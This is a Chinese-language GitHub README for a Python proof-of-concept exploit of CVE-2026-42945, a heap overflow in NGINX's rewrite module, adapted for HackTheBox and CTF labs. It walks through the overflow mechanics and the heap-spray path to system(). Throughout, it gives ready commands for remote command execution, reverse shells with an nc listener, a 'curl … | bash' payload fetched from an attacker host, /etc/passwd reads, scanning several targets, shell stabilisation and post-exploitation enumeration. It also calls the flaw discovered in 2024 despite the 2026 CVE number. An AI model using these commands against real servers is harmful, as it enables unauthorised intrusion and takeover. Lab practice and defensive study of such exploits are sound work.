cipherspy/CVE-2026-42945-POC

GitHub: cipherspy/CVE-2026-42945-POC

针对 NGINX rewrite 模块堆缓冲区溢出漏洞 CVE-2026-42945 的 Python 独立利用程序,优化适配 HTB 和 CTF 环境,支持远程命令执行和反向 Shell。

Stars: 36 | Forks: 8

# CVE-2026-42945 (NGINX Rift) - HTB-Ready 漏洞利用 针对 2024 年发现的 NGINX 堆缓冲区溢出漏洞的独立漏洞利用程序。此版本针对无法设置 Docker 容器的 HackTheBox 和 CTF 环境进行了优化。 ## 漏洞详情 **CVE-2026-42945** 是 NGINX 的 `ngx_http_rewrite_module` 中的一个严重堆缓冲区溢出漏洞,该漏洞自 2008 年(版本 0.6.27)以来一直存在。该漏洞在以下情况下触发: 1. `rewrite` 指令在替换内容中包含 `?`(设置 `is_args = 1`) 2. `set` 指令捕获了 URI 的一部分 3. 长度计算发生在一个清零的子引擎上(看到 `is_args = 0`) 4. 复制阶段在主引擎上运行(看到 `is_args = 1`) 5. URI 转义将字符扩展 3 倍,导致缓冲区大小不足而溢出 ### 受影响版本 - **NGINX Open Source**: 0.6.27 - 1.30.0 - **NGINX Plus**: R32 - R36 ### 已修复版本 - **NGINX Open Source**: 1.31.0, 1.30.1 - **NGINX Plus**: R36 P4, R35 P2, R32 P6 ## 包含文件 1. **nginx_rift_htb.py** - 主漏洞利用脚本 2. **nginx_rift_helper.py** - 侦察和信息泄露辅助脚本 3. **README.md** - 本文件 ## 环境要求 ``` # Python 3.6+ sudo apt update sudo apt install python3 netcat-openbsd # 无需额外的 Python 包 - 仅使用 stdlib! ``` ## 快速开始 ### 1. 检查目标是否存在漏洞 ``` python3 nginx_rift_htb.py --target 10.10.11.x --check-only ``` 此操作将会: - 检测是否正在运行 NGINX - 尝试识别版本 - 检查 `/api/` 端点 - 报告目标是否易受攻击 ### 2. 侦察 (推荐) ``` python3 nginx_rift_helper.py --target 10.10.11.x --all ``` 此操作将会执行: - NGINX 指纹识别 - 版本检测 - 端点发现 - 信息泄露检测 - 行为分析 ### 3. 运行漏洞利用 **执行命令:** ``` python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id" ``` **获取反向 shell:** ``` # 首先启动 listener(在另一个终端中) nc -lvnp 4444 # 运行 exploit python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444 ``` ## 使用示例 ### 基本命令执行 ``` # 执行 'id' 命令 python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" # 执行 'whoami' python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami" # 读取 /etc/passwd python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd" ``` ### 反向 Shell ``` # 终端 1:启动 listener nc -lvnp 4444 # 终端 2:运行 exploit python3 nginx_rift_htb.py \ --target 10.10.11.23 \ --shell \ --lhost 10.10.14.5 \ --lport 4444 \ --verbose ``` ### 自定义地址 (如果 ASLR 被禁用或您已获得泄露地址) ``` python3 nginx_rift_htb.py \ --target 10.10.11.23 \ --cmd "id" \ --heap-base 0x555555659000 \ --libc-base 0x7ffff77ba000 ``` ### 高级选项 ``` python3 nginx_rift_htb.py \ --target 10.10.11.23 \ --port 8080 \ --cmd "curl http://10.10.14.5/shell.sh | bash" \ --tries 20 \ --verbose ``` ## 了解漏洞利用 ### 工作原理 1. **堆喷射 (Heap Spray)**: 漏洞利用程序发送多个包含伪造的 `ngx_pool_cleanup_s` 结构体的 POST 请求 2. **触发溢出**: 发送一个带有特殊构造 URI 的 GET 请求到 `/api/`,该 URI 在转义时会溢出 3. **清理钩子 (Cleanup Hook)**: 溢出破坏了相邻池的清理指针,使其指向我们的伪造结构体 4. **代码执行**: 当池被销毁时,它会调用 `system()` 并执行我们的命令 ### 关键参数 - **目标字节**: 6 字节地址,必须仅包含 URL 安全字符 - **喷射体**: 4000 字节的 POST 请求体,包含伪造的清理结构体 - **溢出载荷**: 349 个 'A' + 969 个 '+' 字符,在转义期间扩展 3 倍 ### ASLR 注意事项 该漏洞利用程序假定 **ASLR 已禁用** 或者您知道具体地址。在 HTB 上: - 一些靶机禁用了 ASLR 以便于漏洞利用 - 其他靶机则需要找到信息泄露点 - 辅助脚本可以帮助进行侦察 如果启用了 ASLR,您可能需要: 1. 在应用程序中查找信息泄露 2. 暴力破解 (需要多次尝试) 3. 使用部分覆盖 (高级) ## 故障排除 ### "Target doesn't appear to be running NGINX" - 验证目标是否确实在运行 NGINX - 检查端口是否正确 - 可能位于 WAF/代理之后 ### "Could not confirm /api/ endpoint" 易受攻击的配置需要: ``` location ~ ^/api/(.*)$ { rewrite ^/api/(.*)$ /internal?migrated=true; set $original_endpoint $1; } ``` - 如果在其他地方存在 rewrite+set,该漏洞利用程序可能仍然有效 - 尝试不同的常见路径:`/api/`、`/admin/`、`/internal/` ### "All exploitation attempts failed" 可能的原因: 1. **ASLR 已启用** - 地址被随机化 - 解决方案:寻找信息泄露或暴力破解 2. **不同的 libc 版本** - `system()` 位于不同的偏移量 - 解决方案:使用 `--verbose` 尝试所有偏移量 3. **版本不受影响** - 已修复版本或不同配置 - 解决方案:使用辅助脚本验证版本 4. **WAF/IDS 阻止** - 安全控制措施已到位 - 解决方案:可能需要规避技术 5. **错误的端点** - 未使用 rewrite+set 组合 - 解决方案:查找实际的易受攻击端点 ### 详细模式 请始终使用 `--verbose` 进行调试: ``` python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose ``` 这会显示: - 每个喷射请求的状态 - 连接尝试 - 溢出触发时机 - 崩溃检测逻辑 ## HTB 专用技巧 ### 查找您的 VPN IP ``` # 查找你的 tun0 IP ip addr show tun0 | grep inet # 将此 IP 用于 --lhost python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444 ``` ### 稳定 Shell 一旦获得初始访问权限: ``` # 升级到 TTY python3 -c 'import pty; pty.spawn("/bin/bash")' # 置于后台并设置终端 Ctrl+Z stty raw -echo; fg export TERM=xterm ``` ### 获得 Shell 后常见的 HTB 枚举 ``` # 检查当前用户 id whoami # 检查 flags find / -name "user.txt" 2>/dev/null find / -name "root.txt" 2>/dev/null # 检查 sudo 权限 sudo -l # 检查 SUID binaries find / -perm -4000 2>/dev/null ``` ## 高级用法 ### 自定义载荷生成 如果您需要自定义载荷: ``` # 编辑 nginx_rift_htb.py 中的 make_body() 函数 # 针对不同的配置调整 BODY_LEN # 修改 overflow 字符串 (349 'A' + 969 '+') ``` ### 多个目标 ``` # 创建 target 列表 cat targets.txt 10.10.11.23 10.10.11.24 10.10.11.25 # 逐一测试 while read target; do echo "Testing $target" python3 nginx_rift_htb.py --target $target --check-only done < targets.txt ``` ### 自动化漏洞利用 ``` #!/bin/bash TARGET=$1 LHOST=$2 echo "[*] Starting listener..." nc -lvnp 4444 & LISTENER_PID=$! sleep 2 echo "[*] Running exploit..." python3 nginx_rift_htb.py \ --target $TARGET \ --shell \ --lhost $LHOST \ --lport 4444 \ --verbose wait $LISTENER_PID ``` ## 技术细节 ### 易受攻击的代码模式 ``` location ~ ^/api/(.*)$ { rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1 set $original_endpoint $1; # Allocates based on is_args=0 } ``` ### 漏洞利用流程 ``` 1. Spray POST → Fill heap with fake cleanup structures 2. GET /api/AAAA...++++...X → Trigger overflow 3. Overflow corrupts adjacent pool cleanup pointer 4. Pool destroyed → Calls system(cmd) ``` ### 内存布局 ``` [Heap Spray Body - 4000 bytes] +0: system_addr (8 bytes) +8: data_addr (8 bytes) +16: next (8 bytes, NULL) +24: command_string (variable) +remaining: padding 'A' ``` ## 参考文献 - 原始 POC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC - 技术报告: https://depthfirst.com/research/nginx-rift - NGINX 公告: https://my.f5.com/manage/s/article/K000160932 - CVE 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945 ## 免责声明 本工具仅用于教育目的和授权安全测试。针对您不拥有或未获得明确测试许可的系统使用本工具是违法的。作者对滥用行为不承担任何责任。 ## 致谢 - 原始漏洞由 [depthfirst](https://depthfirst.com) 发现 - 原始 POC: p3Nt3st3r-sTAr - HTB 适配: 为独立使用而修改 ## 许可证 仅用于教育/研究目的。请负责任地使用。
标签:0day漏洞, CISA项目, CVE-2026-42945, HackTheBox, HTB, Maven, NGINX, ngx_http_rewrite_module, OPA, PoC, Python, RCE, Rift漏洞, URL发现, Web安全, 信息泄露, 反弹Shell, 堆缓冲区溢出, 安全检测, 攻击脚本, 数据展示, 无后门, 暴力破解, 漏洞利用脚本, 漏洞验证, 红队, 编程工具, 网络安全, 蓝队分析, 负责任AI, 远程代码执行, 逆向分析, 逆向工具, 隐私保护, 靶场